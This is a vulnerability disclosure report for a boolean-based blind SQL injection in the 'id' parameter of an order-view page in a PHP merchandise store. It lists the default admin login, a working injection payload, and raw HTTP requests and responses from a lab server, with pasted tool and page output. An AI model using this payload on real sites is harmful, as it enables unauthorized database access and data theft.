

main

...

bug_report / vendors / oretnom23 / merchandise-online-store / SQLi-13.md



debug601 Create SQLi-13.md

History

1 contributor

37 lines (25 sloc) | 1.57 KB

...

Merchandise Online Store v1.0 by oretnom23 has SQL injection

Author: k0xx

The password for the backend login account is: admin/admin123

vendors: <https://www.sourcecodester.com/php/14887/merchandise-online-store-php-free-source-code.html>

Vulnerability File: /vloggers_merch/admin/orders/view_order.php?view=user&id=

Vulnerability location: /vloggers_merch/admin/orders/view_order.php?view=user&id=id

[+] Payload: /vloggers_merch/admin/orders/view_order.php?

view=user&id=2%27%20and%20length(database())%20=17--+ // Leak place ---> id

Current database name: vloggers_merch_db,length is 17

```
GET /vloggers_merch/admin/orders/view_order.php?view=user&id=2%27%20and%20length(dat
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
```

Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=n23o4bgngdq5q3js6l0a0i6r6k
Connection: close

When length (database ()) = 16, Content-Length: 4252

```
GET /vloggers_merch/admin/orders/view_order.php?view=user&id=2%27%20and%20length(database())%20=16--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=n23o4bgngdq5q3js6l0a0i6r6k
Connection: close

HTTP/1.1 200 OK
Date: Thu, 05 May 2022 09:56:49 GMT
Server: Apache/2.4.48 (win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 4252
Connection: close
Content-Type: text/html; charset=UTF-8

<script>location.href="http://192.168.1.19/vloggers_merch/admin/?page=orders"</script><div class=
card-outline card-primary">
  <div class="card-body">
    <div class="conitaner-fluid">
      <p><b>Client Name: <br />
      <b>Warning</b>: Undefined variable $client in
      <b>C:\xampp\htdocs\vloggers_merch\admin\orders\view_order.php</b> on line <b>27</b><br />
      <b></b></p>
      <br />
      <b>Warning</b>: Undefined variable $order type in
```

SQL BASICS UNION BASED ERROR/DOUBLE QUERY TOOLS WAF BYPASS ENCODING HTML ENCRYPTION OTHER XSS LFI

Load URL Split URL Execute

http://192.168.1.19/vloggers_merch/admin/orders/view_order.php?view=user&id=2' and length(database()) = 16--+

Post data Referrer 0xHEX %URL BASE64 Insert string to replace Insert replacing string Replace All

VlogMerch - PHP

Vlogger's Merch Online Shop - Admin

Dashboard Merch List Inventory List Order List Featured Merch Sales Report Maintenance Category List Sub Category List Settings

List of Orders

Show 10 entries Search:

#	Date Order	Client	Total Amount	Paid	Status	Action
1	2021-07-28 14:08	Claire Blake	600	No	Pending	Action
2	2021-07-28 13:50	Claire Blake	850	Yes	Picked Up	Action

Showing 1 to 2 of 2 entries

Previous 1 Next

Copyright © 2022. All rights reserved. VlogMerch - PHP (by: oretnom23) v1.0

When length (database ()) = 17, Content-Length: 2510

```
GET /vloggers_merch/admin/orders/view_order.php?view=user&id=2%27%20and%20length(database())%20=17--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=n23o4bgngdq5q3js6l0a0i6r6k
Connection: close

HTTP/1.1 200 OK
Date: Thu, 05 May 2022 09:56:25 GMT
Server: Apache/2.4.48 (win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 2510
Connection: close
Content-Type: text/html; charset=UTF-8

<div class="card card-outline card-primary">
  <div class="card-body">
    <div class="conitaner-fluid">
      <p><b>Client Name: Claire Blake</b></p>
      <table class="table table-bordered">
        <colgroup>
          <col width="15%">
          <col width="35%">
          <col width="25%">
          <col width="25%">
        </colgroup>
```

INT

SQL BASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- I

Load URL

Split URL

Execute

http://192.168.1.19/vloggers_merch/admin/orders/view_order.php?view=user&id=2' and length(database()) =17|--+

☐ Post data

☐ Referrer

☐ 0xHEX

☐ %URL

☐ BASE64

Insert string to replace

Insert replacing string

☒

Client Name: Claire Blake

QTY	Product	Price	Total
2	Merch	300	600
	101		
Total			600

Payment Method: cod

Payment Status: Unpaid

Order Type: Pick-up

Order Status:

Pending

Close